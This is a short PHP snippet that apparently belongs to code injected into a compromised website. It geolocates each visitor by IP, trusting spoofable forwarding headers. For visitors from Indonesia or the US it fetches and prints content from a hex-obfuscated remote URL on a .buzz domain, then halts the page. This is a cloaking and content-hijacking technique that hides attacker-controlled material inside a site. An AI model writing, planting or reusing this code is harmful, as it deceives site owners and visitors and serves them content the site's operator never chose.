function getUserIP() {
    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $ip = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])[0];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];
    }
    return $ip;
}

$ip = getUserIP();
$api_url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($api_url);
$data = json_decode($response, true);

if ($data["countryCode"] === "ID" || $data["countryCode"] === "US") {
    ob_start();
     echo file_get_contents("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x6c\x6f\x67\x75\x6e\x69\x6b\x2e\x62\x75\x7a\x7a\x2f\x63\x70\x61\x6e\x65\x6c\x2f\x73\x68\x6f\x70\x68\x6f\x61\x6c\x6f\x6e\x67\x61\x6e\x2e\x63\x6f\x6d\x2e\x74\x78\x74");  // Assuming this file exists and is accessible
    $output = ob_get_clean();
    echo $output;
    die;
}